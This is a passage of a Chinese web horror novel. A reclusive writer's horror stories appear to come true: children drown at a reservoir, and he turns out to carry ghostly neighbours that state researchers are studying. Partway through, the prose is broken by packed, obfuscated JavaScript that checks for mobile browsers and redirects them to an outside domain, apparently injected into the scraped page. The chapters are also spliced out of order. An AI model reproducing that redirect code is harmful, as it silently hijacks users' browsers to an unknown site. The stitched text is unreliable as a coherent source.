那道背对着他的红色身影缓缓转过身来,一张苍白如纸的脸映入李小虎的眼帘,毫无血色的嘴唇扯起一个腼腆但不知为何透着一丝寒意的笑容。
李小虎愣了下,很快回过神来,说道:“我奶奶说你们搬家了?”
王玲玲既没承认也没否认,只是用她那略显冰冷的声音轻声问道:“你要去哪?”
李小虎丝毫没察觉到异样,兴奋的说道:“我想去游泳!这天热得简直要把人烤熟啦。”
王玲玲点了下头,语气幽幽的说道:“我知道有个地方......很适合游泳。”
李小虎一听立马来了兴致,拍手说道:“真的吗?快带我去!”
王玲玲勾唇笑了笑,转身轻飘飘地走出小区。李小虎跟在后面,一路上叽叽喳喳说个不停,王玲玲的话则很少,只时不时回应李小虎几下,但都很敷衍。
不多时,王玲玲领着李小虎来到了一座山上,一片巨大的湖泊映入眼帘。
湖面宽阔,水波荡漾。
王玲玲提醒李小虎:“玩水......很危险。”
然而,此刻的李小虎早已被兴奋冲昏头脑,哪里还听得进去警告。他迫不及待的把上衣一把扯下,随手扔在地上,又迅速蹬掉鞋子,嘴里喊着“凉快啦”,便一头扎进水中。
不远处,拉起的隔离网在风中微微晃动,发出“簌簌”的声响,上面挂着的“禁止进入”的警示牌显得格外讽刺。
18.第 18 章
敲下句号,点击确认发布。
至此,连载半个月的《雨巷》篇正式完结。
在创作《雨巷》的这段时间里,宴泠昭就已经萌生出了下一篇文章的灵感。因此,《雨巷》篇刚结束,宴泠昭连片刻的休息都没有,径直打开之前用来记录灵感的文档,准备撰写下一篇章的大纲。
首先,得给新篇章取个名字。
宴泠昭坐在电脑前,陷入了长时间的沉思。他的手指无意识的在桌面上轻轻敲击,目光时而望向窗外,时而又聚焦在文档页面上。
经过半天的苦思冥想,最终,他敲定了新篇章的名字——《维修》。
***
《一本恐怖小说》论坛
热帖#恭贺《雨巷》篇完结!撒花~#
1L 管理员
老大快写下一篇,我已经迫不及待了!
2L
我的天呐,榜1大哥刚才给老大砸了十万票票!
3L
榜二大哥也不甘示弱,同样砸了 10 万,看来大家对老大的支持力度都超强的啊(竖拇指)
4L
再多来几位大哥支持支持吧,不然万一老大觉得赚得不够多,不写了可咋办?我的精神食粮就靠老大了(期待)
......
347L
家人们,我发现了一件细思极恐的大事!
......
377L
347 楼到底啥事啊?都隔了多少楼了,你还没把字打完,手速也太感人了
378L
事情是这样的,我有个姨妈家的孩子,一直在大城市打拼工作。但就在不久前,传来了一个噩耗,我那个表哥竟然遇害了。他被人残忍地砍了数十刀,浑身上下都是伤口,鲜血几乎流干,死状极其凄惨。
警察调查后给出的结论是表哥不幸遇到了随机作案的杀人犯,也就是说,表哥纯粹是运气太差,遭此横祸......
姨妈得知消息后整个人都崩溃了,伤心到了极点,好几次萌生自杀的念头。我妈担心姨妈想不开,就干脆搬到姨妈家去住,专门照顾她。所以整个案件的详细过程,我妈都有所了解,也是她把这些事告诉我的。
不过有些细节我实在不方便说得太详细,懂的都懂。
总之,我发现表哥遇害时的遭遇和《雨巷》篇章里女鬼杀人的手法惊人的相似。你们说,这是不是细思极恐
383L
拿这种事玩梗合适吗?你有没有考虑过你姨妈的感受?
384L
真是让人无语,我要是有你这样的亲戚,绝对立马断绝来往,这辈子都不会联系
385L
在这儿瞎抖什么机灵呢,管理员呢?呼叫楼主,来活了!
......
1033L
小的们,大王更新了!快去捧场啊!
1034L
卧槽?老大这次这么勤奋?
1035L
不管了,开嗦!
***
《维修》
第一章
【潘鑫龙是个大学生,自从放暑假后他的作息时间便完全颠倒,白天睡觉晚上嗨。父母也管不了他。
这天深夜。
“Double kill!”潘鑫龙兴奋地拍了下桌子,耳机里传来队友的欢呼声。
此时电脑屏幕右下角显示时间:凌晨1:57。
“再来一局?”队友在语音里问道。
潘鑫龙揉了揉发酸的眼睛,看了眼窗外漆黑的夜色。
“行,最后一局。”说完,他拿起桌上的可乐灌了一大口,甜腻刺激的液体滑过喉咙,带来短暂的清醒。
正当他准备点击“开始游戏”时,一阵奇怪的声响传来。
砰、砰、砰
清脆而有节奏,在寂静的深夜格外刺耳。
潘鑫龙皱了皱眉,摘下耳机。
声音更清晰了——砰、砰、砰,每一下都像是敲击在他的神经上。
“什么东西?”他嘟囔着,却没太在意,看了下时间:2:00
砰、砰、砰
又来了。
似乎是从窗户外面传来的。
砰、砰、砰
刚消停了没几秒再度响起。
潘鑫龙莫名感到一阵恐慌,后颈汗毛倒竖,一股寒意从脊背窜上来。他屏住呼吸,放轻动作走到窗边。
砰、砰、砰
确定了声音不仅是从窗外传来的,还离他的房间很近。
这会,潘鑫龙无比庆幸因为最近天气炎热的缘故,他的房间里时常开着空调,因此会把门窗关得很死。
不幸的则是今天晚上父母都不在家。
潘鑫龙胆子小,决定装死,希望这阵不正常的声音能赶紧消失。
然而,很多事情往往不以人的意志转移——
砰!这次的声音更响,力度更大,震得窗框都在颤动。
潘鑫龙心脏狂跳,拿出放在口袋里的手机。然后深吸一口气,靠近窗边,眼睛四处张望。
......什么都没看到。
潘鑫龙不知道的是,在他房间旁边的外墙管道边,趴着一个男人,身穿深蓝色的水电维修工作服,头戴同色鸭舌帽,手里拿着一个铁扳手。
男人低着头,帽檐遮住了大半张脸,只能看到惨白的下巴和干裂的嘴唇。】
***
李小虎连着好些天都跟着王玲玲去外面游泳。但每次到了地方,王玲玲都只是静静的待在岸边,从不下水。
最开始李小虎满心都是新鲜与兴奋,但接连玩了几天后,这种单调的模式逐渐令他觉得乏味无趣。他渴望能有更多的小伙伴一起玩耍,于是,他跟王玲玲说:“明天我想叫几个朋友一起。”
王玲玲嘴角微微勾起,露出一抹意味不明的笑容,轻声说道:“好啊,人越多越热闹。”
7月25日,星期一
负责管理水库的工作人员像往常一样在周边巡逻。没一会儿,就发现了一个偷偷来钓鱼的家伙,还是个老熟人。
“又是你,都说了这里严禁钓鱼。”工作人员提高音量,板着脸走了过去。
钓鱼佬吓了一跳,尴尬地搓了搓手,脸上堆满讨好的笑容,赶忙从兜里掏出一根烟,递向工作人员,陪着笑脸道:“嘿嘿,我这才刚过来没多久,您瞧我这鱼护里,还一条鱼都没有。”
工作人员根本不搭理他递过来的烟,神情严肃的说道:“再一再二不再三,我都放过你好多次了。这次跟我去警局走一趟吧。”
有些人不关个几天,付出点代价,永远不会长记性。
“哎呀,多大个事儿嘛,你这人怎么这么小气!”钓鱼佬一听要被带去警局,顿时垮下脸,急了。
工作人员差点气笑,刚要开口,就在这时,钓鱼佬的鱼线突然动了两下。
钓鱼佬瞬间两眼放光,顾不上和工作人员理论,赶忙伸手去抓鱼竿。心想鱼都已经上钩了,那就等钓上来再放生好了,也不算白跑一趟。
工作人员也没有阻止他,毕竟鱼都咬上了,没人帮忙基本不可能脱困。
钓鱼佬双手紧紧握住鱼竿,拼尽全力往上拉,脸涨得通红,额头上青筋暴起,可那条鱼却像是扎根在水底似的,怎么都拉不上来。
工作人员见状,叹了口气,上前帮忙,两人一起用力拉扯鱼竿。
费了好大的劲,终于把水里的那个东西拉了上来。看清眼前之物的瞬间,两人的表情即刻凝固,神色大变。
钓鱼佬颤抖着出声喊道:“人、死人......!死人了!”
警察和法医很快赶到现场。
后者迅速展开工作,前者全力查找死者身份信息,没多久便找到了死者的家人,并第一时间与其取得了联系。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477647|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>死者的家人匆匆赶来,看到自家孩子泡得发胀的尸体,悲从中来,哭得撕心裂肺。
“我家孩子是和别的孩子一起出去玩的啊,怎么就变成这样了......”
警察一听,顿时头都大了,一种不祥的预感涌上心头。
询问死者家属知不知道孩子是和哪几个小朋友一起玩的,然后逐个联系那些与死者一同出去玩的孩子的家长他们家孩子是否在家。
得到的答复令人揪心,这些孩子均不在家。
情况紧急,警方迅速联络消防队。消防队接到通知后,立即调派人手和专业设备赶往水库。
幸运的是,搜寻工作进展得出奇顺利。仅仅一天时间,失踪的那几个孩子的遗体就都陆续打捞了上来。
对于李小虎的父母来说,他们苦苦寻找孩子十几天,终于有了孩子的消息,都没来得及高兴,就得到了令他们无法接受的坏消息。
好消息:孩子找到了。
坏消息:找到的是孩子的尸体。
李小虎的父母悲痛欲绝,不理解孩子为什么会出现在水库,是谁带他去的?孩子失踪的这些天又在哪里?
法医经过鉴定后表示,李小虎和其他几个孩子的死亡时间相近,且没有遭受过任何虐待的迹象。
......
水库占地面积广阔,要做到全方位监控是不可能的事。又偏偏不巧的是,孩子们出事的地点刚好处于监控范围之外,这无疑给案件的调查增加了极大的难度。
家长们情绪激动到了极点,纷纷要求相关部门给出一个合理的解释。
一位家长愤怒的质问水库管理方:“水库这么危险,为什么不做防护措施?”
水库方无奈极了:“我们已经安装了隔离网。”
另一位家长立刻追问:“那孩子是怎么进去的?”
问得好,水库方对此也是一头雾水,同样想知道答案。
对于这个问题,警方将目光锁定在了钓鱼佬身上。
经过询问后得知钓鱼佬就居住在水库周边,是当地土生土长的居民。原来,他们村子有一条河道与水库相连,钓鱼佬每次都是划着小船顺着河道来到水库。
钓鱼佬是划船过来的,那那几个小孩子又是怎么来的呢?他们总不能也有条小船、也是划过来的吧?
实在太过匪夷所思。
这桩离奇的案件很快就引起了特殊部门的关注。他们带着先进的仪器来到水库边,展开了细致的侦查工作。
果不其然,经过检测,他们发现空气中的能量分子波动异常。证明有诡异曾来过这里。
***
“叩叩”
有人敲门。
宴泠昭起身去开门。门外站着李奶奶。
宴泠昭下意识张嘴,“李奶奶”三个字在舌尖打转,还没喊出口,就见李奶奶状态不对:整个人精神萎靡,面容憔悴,眼眶泛红。
宴泠昭顿了下,问:“怎么了,出什么事了?”
李奶奶抬起枯瘦的手,抹了抹眼睛,声音哽咽的道:“小虎死了。”
宴泠昭一愣:“什么?怎么死的?”
李奶奶的声音愈发颤抖,带着无尽的悲痛:“淹死的,都怪我没看住,他趁我不注意,跑出去玩水......”
宴泠昭:“......”
他好像之前提醒过李奶奶,一定要注意孩子安全。尤其小虎爱玩水,他还特意提到不要让小虎玩野水。
宴泠昭沉默半晌,说道:“节哀。”
熊孩子自己乱跑就没办法了,别说人老了防不住,就是年轻父母也不一定看得住,每年作死的小孩难道还少吗。
李奶奶强忍着的泪水再也止不住流出眼眶。
宴泠昭见状转身去拿纸。
转到一半,余光瞥到李奶奶的嘴角竟微微上扬,像是在笑。
宴泠昭下意识回头看去,却见李奶奶依旧哭的伤心。
30-40
31 第 31 章
◎出来啦◎
宴泠昭看向电脑右下角, 今天是8月8日,距离他被关至今差不多有十天了。
收回视线, 目光重新落回到电脑屏幕上。屏幕里的游戏角色正机械地做着待机动作,平日里觉得有趣的画面,此刻却是索然无味。
宴泠昭的心情不禁变得低落起来。
同一时刻。
实验室里的监测器屏幕上,代表阴性能量的数值急剧攀升,红色的警示光芒不停闪烁,意味着危险。
军方人员严阵以待, 每个人全身的肌肉都紧绷到了极致,仿佛下一秒就要投入一场生死之战。
朱德宏微微侧头,压低声音对身旁的张棋民道:“张教授,依你看, 宴泠昭体内的诡异是因何而躁动?”
张教授紧紧盯着房间里坐在电脑前的青年,眼神中透着专注与思索。好一会儿, 才开口回道:“或许是因为宴泠昭的情绪不好。”
朱德宏闻言若有所思, 追问道:“那有没有办法能压制下去?”
检索到关键词, 张教授眼中闪过一丝兴奋的光芒:“说到压制,我发现宴泠昭(体内的诡异)对诡异(or物品)有着极其强大的压制效果——”
实际上,朱德宏也发现了:
就在昨天,一名实验人员将李亮的手机带到宴泠昭面前, 并将之硬塞给宴泠昭。之后没多久, 宴泠昭(体内的诡异)就进入了暴动状态, 阴性能量在十几秒钟突破上限阈值,整个实验室乱成一团。
当时, 所有实验人员在第一时间紧急撤离。赶到现场的军方迅速分成两组, 一组赶往A-1实验室;另一组则争分夺秒地搬移诡异(物品)。
最坏的打算是倘若情况失控, 便立即启动毁灭程序。该程序一旦启动, 无法中止,三秒倒计时后被关在单个独立小房间里的诡异/诡异物品,都会被房间内预设的自动机关枪无情扫射摧毁
好在宴泠昭暴动期间,诡异(物品)安静如鸡十分乖巧,应该是感受到了来自隔壁的强大威压,全都不敢有丝毫异动。而宴泠昭也在短时间内冷静下来。
最后的结果就是虚惊一场。
值得一提的是宴泠昭果不其然对于这段经历毫无印象,看来当他体内的诡异暴动时,宴泠昭本人处于完全的无意识状态,且事后也不会主动回想起这段缺失的空白记忆。由此可见,宴泠昭体内的诡异并不想让宴泠昭知晓自己的存在。
对此,张教授怀疑是不是因为宴泠昭体质特殊,才使得他体内的诡异如此“温顺”。于是,张教授特意申请了更为详细的身体检测报告——当报告摆在眼前时,他所有的猜测都落了空:宴泠昭的身体各项指标与普通人并无二致,没有特别之处。
一切已经明了,纯是附身宴泠昭的那个诡异的问题。
张教授的助手这时忍不住小声嘀咕了一句:“如果诡异能和人类和平共处,那是不是”
话刚出口,助手便意识到自己说错话了,赶紧捂住嘴,心虚的环顾四周。见周围的人要么全神贯注的盯着监测设备,要么一脸严肃的坚守岗位,似乎没人注意到他这句不合时宜的话,悄悄松了口气。
朱德宏倒是听见了,向助手投去一道略带深意的目光,不过什么也没说。
张教授也听见了,甚至被这句话触动了某根神经,专注于紧盯青年的眼神有了片刻的游离,脑海中不由自主的展开了一系列设想。
如果诡异真能与人类和平共处,那就像是打开了基因密码
但很快,他便回过神来,轻轻摇了摇头。这想法虽美好,却太过天真。诡异的本质都还没弄清楚,且其本身对人类充满恶意,它们的存在就是对人类生存的巨大威胁,想要和平共处,谈何容易。
此时,监测器上的阴性能量数值仍在攀升,将散发思绪的张教授拉回到残酷的现实。
朱德宏握紧手中的对讲机,面色凝重的说道:“所有人注意,做好准备。”
宴泠昭坐在房间里,丝毫不知外面剑拔弩张的氛围。他依旧沉浸在自己低落的情绪中,百无聊赖的摆弄着游戏角色。
***
接下来的几天,宴泠昭体内阴性能量爆发的频率愈发密集,就像一座即将喷发的火山,每一次能量波动都让实验室的气氛更加紧张。
监测数据上的曲线波动就如同疯狂跳动的脉搏,看得人心惊胆跳。所有人都清楚,继续再将宴泠昭关下去,无疑于堆积炸药。无奈之下,他们不得不做出一个大胆的决定——把宴泠昭放出来
朱德宏这段时间一直苦思冥想应对之策,一个疯狂却又似乎可行的念头在他脑海中逐渐成形。
看着青年在监控画面中的身影,他心中暗自思忖:既然宴泠昭与诡异之间有着这般特殊的联系,为何不把他编入自己部门下的侦查组?
以宴泠昭为核心,组建一支特殊的小队,专门应对那些棘手的诡异事件,这样不仅能时时刻刻关注宴泠昭的情况,又提高了效率。
又是一次阴性能量的剧烈爆发。
看着监测仪上几乎要冲破上限的数值,朱德宏咬了咬牙,终于下定了决心。
他转身出去打了个电话。
第二天才回到实验室。
这一回,他目标准确地走进宴泠昭的房间
朱德宏的目光落在面前的青年身上,心中泛起一丝复杂的情绪。他清了清嗓子,试图把宴泠昭体内存在诡异的事情告知对方,然而,刚说出几个字,眼角的余光便瞥见宴泠昭身后的影子出现了明显的扭曲变异。就像是活过来一般,张牙舞爪,散发着令人毛骨悚然的气息。
朱德宏早有预料,面不改色的话锋一转,镇定自若的说道:“我们不可能关你一辈子。你应该也懂只有千日做贼,没有千日防贼的道理。所以,我现在给你两个选择。”说到这,他顿了顿。
“第1个,我放你离开,但无法做到24小时贴身保护你。外面的世界充满未知,尤其是你已经被某些诡异盯上,独自面对的风险不言而喻。第2个,你接受我们的专业训练,加入国家特殊部门——如果你选第2个,六险二金,福利全满,底工资两万,上不封顶。”
好处很诱人,但他的懒和宅打败了一切。
宴泠昭垂下眼眸,倾向于选第一个。但理智告诉他,朱德宏说的没错,自己如今被诡异盯上,诡异不比人,碰上坏人他还能还击,遇到鬼怎么还击?
想到这里,宴泠昭抬头看向朱德宏,问道:“能不能接受自保训练,但不参与工作?我就想学会一些基本的应对方法,确保自己遇到危险时能有一线生机。”
朱德宏点了下头:“当然可以,但是你要明白,鬼怪无孔不入,它们的能力超乎想象。而个体的力量终究是有限的,无法与集体的力量相抗衡。只有大家团结协作,才能在这场与诡异的战斗中增加胜算。”
宴泠昭陷入了长久的沉默,脑海中各种念头不断交织碰撞。
朱德宏静静地站在一旁,耐心的等待宴泠昭的回复。
终于,宴泠昭做出了决定:“我选第2个。”
人类果然是群居动物,遇到危险第一反应是抱团,这样做也确实能带来最大利益。
连他这种喜欢一个人待着的“孤狼”也不例外。
不过话说回来,狼其实也是群居动物
***
既然宴泠昭选择加入国家部门,那便顺理成章进入资料统计环节。
正好,朱德宏有许多问题想问宴泠昭。
“我父母?”当被问及家庭情况,宴泠昭微微愣了愣神,片刻后才开口道:“我高中毕业没多久,父母就遭遇意外车祸离世了。”
“小学和初中都是在本区念的书。具体些?我小学就读于上阳区实验小学,初中是旁边的实验中学。高中则是在B市二中读的,后面顺利考上了B大。”
朱德宏像聊家常一样随口说道:“也就是说,你从小到大都没离开过 B 市?填报学校的时候没想过到外地上学吗?我身边朋友家的孩子填意愿时都喜欢往外跑,尤其是到一些网红城市。”
宴泠昭点头:“确实。但我没兴趣,我不喜欢挪窝,性格如此,更喜欢待在熟悉的地方。”
朱德宏不动声色的继续发问:“那在你父母去世之后,有亲戚照顾你吗?之所以问这个,是考虑到万一你出了什么状况,我们方便及时通知家属。”
宴泠昭神色冷淡的回道:“没有。我家向来很少与亲戚往来,父母走后,自然而然彻底断了所有联系。”
“最好还是提供一位关系相对亲近的亲属信息。”
“那你就当我没有亲属好了。如果我不幸离世,我名下的所有遗产直接充公,我可以把这个写进遗嘱。”
朱德宏:“朋友也行,至少留个紧急联系人。”
宴泠昭面无表情,直言:“没朋友。”
朱德宏这下是真的没话说了。
默了默,朱德宏决定换个方向,说道:“那把你父母的信息填一下吧。”
话音落下许久,宴泠昭既没有开口说话,也没有伸手拿笔,整个人就是完全没有任何反应。
朱德宏眼皮一跳,一股寒意自脚底蹿升。
房间里的温度骤然下降,宴泠昭的眼睛空洞无神。
只是问宴泠昭的父母而已,这也能引起宴泠昭体内诡异的暴动?难道说宴泠昭父母的死不正常?
后脊背冷汗直冒,寒意顺着脊椎一路爬到天灵盖。朱德宏不敢再有丝毫犹豫,立即道:“算了,不用告诉我你的父母。”
话语落地的瞬间,从宴泠昭身上散发出来的恐怖气息如退潮的海水般迅速消散。温度也开始慢慢回升。
朱德宏望着宴泠昭恢复神采的双眸以及一脸一切如常的样子,深深地吸了口气,让自己狂跳不止的心平静下来,并告诉自己:
没关系,好歹通过这次交谈,知道宴泠昭父母的死亡极有可能与他体内的诡异有关系。还有宴泠昭大学以前信息的缺失,想来同样也是这诡异动的手。
再联想到昨天宴泠昭暴动,两个实验室的诡异(物品)都被压制的一动不动,以及超出上限的能量波动可见宴泠昭体内的诡异强大得超乎想象,其具备的能力恐怕也是深不可测。
如果宴泠昭能够始终保持自己的意识,并且愿意配合,那无疑将成为对抗诡异势力的一张王牌。
可惜朱德宏心情沉重的想。
这股力量不可控。
宴泠昭就像是一颗随时会引爆的定时核弹,不知什么时候给周围的人乃至整个世界带来毁灭性的灾难。
而提前消除这个灾难是不可能的。
不说我国不是隔壁某个喊着人权却尽做丧尽天良之事的国家,即便征得本人的同意,人体内真正的核弹同意了吗?
一号也是这么说的——
【“安抚为主,尽量吸取为自己人。鬼也是有欲求的,在我们还没有积攒出足够与之对抗的力量前,和它做单纯的生意朋友也好嘛我最近听到个有意思的说法,有人称诡异为天灾,面对天灾人类无能力,接受就好。可我们民族存续几千年,没有天灾的时候加起来也就百年。我们对如何抵抗天灾,可是有经验的很哟。”】
***
耀眼灿烂的阳光刺得宴泠昭睁不开眼。他有些天没见过太阳了,眼睛一时难以适应强烈的光线。
朱德宏:“我现在带你去宿舍?或者你想先在外面逛逛?”
宴泠昭刚要回答,冷不丁,一道轻柔的女声毫无预兆的在他脑子里响起:【“可以先回家一趟吗?”】
宴泠昭:“?”
发现宴泠昭突然停下脚步,朱德宏也跟着停住,转头看向宴泠昭,问:“怎么了?”
宴泠昭神情恍惚,迟疑道:“我好像听见有个女人在我脑子里说话。”
朱德宏:“?!”内心掀起惊涛骇浪。会是那个诡异吗?
朱德宏激动起来,可又不敢追问得太过仔细,怕那个诡异又发作。他心急如焚,却只能强忍着,在心里反复斟酌着该如何开口。
没等他想出合适的措辞,一个稚嫩的小男孩的声音又在宴泠昭的脑海中响起:【“我也想回家一趟我想拿我的玩具小车。”】
然后,是一个语气犹豫的中年男人的声音:【“我也想回去一趟,我给孩子买的礼物还在保安室里本来是想在孩子生日的时候送她的,唉”】
接二连三的声音在宴泠昭的脑海里响起,有老有女,有老有少,且这些声音莫名给宴泠昭一种似曾相识的熟悉感。
与此同时,朱德宏终于组织好语言,但才说了一个字,就被宴泠昭打断。
“我好像听见了我邻居们的声音?”
忍了很久的田燕婉终于忍不住了,说道:【“你别听人类胡说八道。或许我之前确实存在那种念头,但现在已经没有了。”】
宴泠昭没来得及说话,脑海中猝不及防又响起一道凄惨的叫声。
【“啊!你们又打我做什么!这次我没惹你们啊!”
“都怪你让那位怀疑我们”
“冤枉啊!好吧我错了,是我有眼不识泰山,别打了嗷!”
一阵拳拳到肉的闷响。】
宴泠昭:“”
等会,这个惨叫的声音怎么又熟悉又陌生的?
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
宴泠昭:被诡异盯上好可怕
所谓盯上他的诡异(们):谁我们吗?一开始确实是盯上了,但不是已经被你教做诡了吗[化了]
32 第 32 章
◎诡异嘴里没一句实话◎
宴泠昭再次回到了实验室, 依旧是那个房间。只不过这回房间里除了宴泠昭自己,还多出了好几个“人”。
房间外面。
张教授满脸抑制不住的兴奋。朱德宏站在一旁, 神色复杂。
“天哪,真没想到原来不是一个,而是好几个!”张教授嘴里念叨着让人听不懂的专业术语,并时不时冒出几个数据。
他的助手应该是听懂了的:不仅和张教授一样满脸兴奋,偶尔还附和的说上几句。
朱德宏看着这神态相似的一大一小,忽然间好像明白了小辛为什么能够成为张棋民的助手
“不对, 肯定不止如此。至少最强大的那个没有出现。”张教授低声呢喃着。
最强大的那个么朱德宏听到这话,目光重新落回到房间里的青年身上。
确实——最强大的那个可是什么都没做,仅仅是现身,就把当时在场的实验人员吓得精神紊乱。
直到现在, 都还有好几个没恢复正常,被关在医院里接受治疗。
想到这, 朱德宏就忍不住暗自庆幸, 还好那天张教授有事不在实验室。
毕竟张教授已经不年轻了, 身体和精神都经不起强烈的刺激。
房间里。
一共七个鬼,其中六个是宴泠昭的邻居。剩下的那个,虽然模样和李亮一模一样,但宴泠昭清楚, 他不是李亮。且就在不久之前, 对方还试图对他动手, 说起来后面发生了什么来着
这个念头刚在宴泠昭的脑海中浮现,下一秒便消失得无影无踪。
“你们都说一下自己的情况?”宴泠昭迟疑的开口道。
“我是被那个男人害死的。”田燕婉率先说道, 眼中闪过一丝怨毒, 声音幽幽, 透着彻骨的寒意, “许是心中恨意难消、怨气太重,死后便成了如今这般模样。哼不过,他也没得到什么好下场。”
说到此处,田燕婉勾起嘴角,咧开一个渗人的弧度,喉间发出两声低沉的笑声,“说不定,对他而言,死反倒算是一种解脱。”
站起来刚想说些什么的宴泠昭顿时一副“那没事了”的样子重新坐了回去——考虑到外面有国家人员在听,他没有明着对田燕婉的做法表示赞同,只能用眼神示意:你做的很好。
田燕婉低下头腼腆的笑了笑。
何老接着道:“我是有一天在家里不小心摔了一跤,动弹不得。手机离我很远,我又没力气大声呼救,就这样,没几天便饿死了。许是临死前心里不甘吧,憋着的那口气始终散不去,最后就成了鬼。”
宴泠昭默默地点了点头。
其实他和何老不能算是邻居,因为他们并不住在同一个单元楼——与何老的相识,源于宴泠昭有天下楼买饭,那天前一晚刚下了一场雪,导致第二天路面结冰,走起路来十分滑。
两人面对面即将擦身而过时,何老脚底打滑险些摔倒,幸好他眼疾手快,伸手扶了何老一把。
何老对他很是感激,从袋子里拿了两个苹果给他。自那之后,又有好几次他下楼时遇见何老,一来二去,就渐渐熟稔了起来。
原来何老已经去世了啊他就说有好长一段时间没看见过何老了。
宴泠昭想了想,问:“您的儿女呢?他们没来看您吗?”不然何老怎么会活活饿死。
何老叹了口气:“我这一辈子都是单身汉,哪里来的儿女。”
宴泠昭:“抱歉。”
何老慈祥的笑着摇了摇头,“没事。再说,有孩子也不一定管用。”
第三个说话的是保安大爷老王。
老王一脸茫然无措的说:“我也弄不清楚自己是怎么死的。就记得当时特别困,困得眼皮子打架,琢磨着趴桌上小睡一会儿,结果这一闭眼好像就再也没能醒来。”
怪不得。宴泠昭默默的想。
他还以为是保安大爷偷懒成性。没想到是死了好一会儿了。
李桂兰接上话:“我是有天中午睡午觉,没多久,突然胸口一阵剧痛,直接就把我痛醒了。当时全身一点儿力气都使不上,没一会儿,那疼痛就消失了”
宴泠昭懂了,说的应该是心梗。心梗发病很快,结束的也很快,如果不能立即发现并抢救,人直接就没了。
七个大人里只剩下和李亮长得一样的那个鬼了,暂且就叫他手机鬼吧。
鼻青脸肿的手机鬼对上宴泠昭投来的视线,立马道:“我不知道,我没有死前的任何记忆,连自己是谁都记不起来,不过我估计我应该是遭人杀害的,不然怎么会落得个被分尸的下场,尸块还被扔到了垃圾场。”
宴泠昭一阵恍惚,眼前浮现梦中的片段——铺天盖地的黑烟、成堆成堆的垃圾
手机鬼可不知道宴泠昭看着他是在发呆,还以为是自己哪里做错了,急得鬼气都不稳定了、本来他之前就被群殴了一顿,已经不稳定了,现在更不稳定了。
他强装镇定,硬着头皮说道:“你你干嘛这么看着我我真没骗你,说的句句都是实话。”
宴泠昭回过神,觉得手机鬼的态度变得可真快,不久前还自来熟的喊他好朋友,意图搞强制,结果现在就蔫吧儿了,似乎还很怕他。
看了看手机鬼身上的伤,又看了看周围的邻居们。宴泠昭恍然大悟。
邻居们真好,活人的时候好,变成鬼了也好。说起来田燕婉还每天给他送饭。
都是好鬼啊。
其实已经对宴泠昭动过手,但被反杀了的邻居们:保持微笑。
宴泠昭将目光转向两个小鬼,字面意思上的小鬼。
其中一个双手抱着自己的脑袋。另一个浑身湿漉漉的,水不断的从身上往下滴。
王玲玲:“我们一家人去河边玩爸爸妈妈还有奶奶和他们的朋友搓麻(麻将)聊天,我就自己到一边玩球。结果皮球不小心滚到了水里,我下河去捡,河里的石头特别滑,水流又急,一下子就把我往前冲,我离岸边越来越远”
“不知道在水里飘了多久,我渐渐没了力气。这时,突然感觉脖子好像被什么东西刮了一下,然后就什么都不知道了等我再醒过来的时候,就看到自己的身体和脑袋在水里漂着。”
“天很黑,我很害怕,又找不到家人我平时都是跟奶奶住,所以那时只想回奶奶家。可我不认识路还好我运气好,后面顺利回到了奶奶家。”
“我敲了好久的门,都没人开我发现自己居然能穿门进去家里没人,我等了好久奶奶没有回来过,爸爸妈妈也没有来过我碰到何爷爷,他说我死了”
王玲玲讲述完自己的遭遇,轮到李小虎。
李小虎挠了挠头:“我不听奶奶的话非要出去玩水,就淹死了。”
其实李小虎不说,宴泠昭也知道。因为当初李小虎出事的时候,他奶奶专门找上门来,把这个不幸的消息告诉了他。
回想起这件事,宴泠昭下意识看向李奶奶,问道:“你是在小虎死后离世的?”
难道是伤心过度导致的心梗?
此时,李奶奶正双眼通红的盯着李小虎,听到宴泠昭的询问,好一会儿才后知后觉的反应过来,回道:“不很早。”
宴泠昭以为李奶奶口中的“很早”最多就是在李小虎出事的前几天。毕竟李奶奶把孙子接回家也没多久。
然而,李奶奶后续的一句补充,掀翻了他的这一猜测。
“好多年前大概六年前。”
房间外。
朱德宏听着房间里面的交谈声,突然联想到一件事。
由于是一起诡异事件,所以他记得格外清楚,而且这件事就发生在不久前——金华小学失踪案:
一名三年级的小学生放学后被奶奶接走,从此人间蒸发,下落不明。
孩子的父母心急如焚,找到学校询问情况。老师坚称孩子就是被其奶奶给接走的。孩子父母闻言愤怒不已,因为孩子的奶奶早在六年前就失踪了!
后在水库找到孩子的尸体,以及和孩子同班的好几个同学的尸体。
没人知道这群小孩子是怎么跑进被隔离网拦着的水库的。
朱德宏强压下内心的急切,深吸一口气,准备等结束以后找宴泠昭聊聊这件事。
房间里的对话还在继续。
宴泠昭:“你们为什么会在我的身体里?”
众鬼闻言面露疑惑。
为什么会在你的身体里?你会不知道?
生前脑筋就不太灵光的李小虎死后也不可能变得聪明,反而因为本能占据主导而愈发愚钝——在所有人都思考宴泠昭是不是有什么深意时,他不假思索的张嘴就要回答。
一旁的田燕婉反应极快,一头乌黑长发咻地窜了出去,牢牢捂住李小虎的嘴巴。
李小虎:“唔唔唔!”
手机鬼偷偷松了口气。
这波仇恨值稳了,待会回去后挨打的另有其人。
控制住李小虎这个拖后腿的,再排除掉手机鬼,余下五鬼不动声色的交换了个眼神,又瞥了眼单向玻璃的方向。
——“宴泠昭想要打入人类内部”成为共识。
虽然他们猜不透宴泠昭这么做的目的是什么,但左右不过是为了获取某种利益。
而如今他们既然已经和宴泠昭绑定在一起,那不管宴泠昭想要干什么,他们跟着配合就是了。
何老清了清嗓子,说道:“我们也不清楚怎么就到了你身体里,说不定是上天的安排,让我们借助你的身体,在这世间完成一些未了之事。”
张教授&助手&朱德宏等人:“?”
***
宴泠昭被骗了!那些鬼再忽悠他,他们嘴里根本没一句实话!
可朱德宏却不能说,因为宴泠昭身体里还有个更为强大、尚未现身的诡异,这个诡异明显不想让宴泠昭知晓事情的真相。倘若他点破,极有可能成为引发可怕后果的导火索
算了,目前就先这样吧。
***
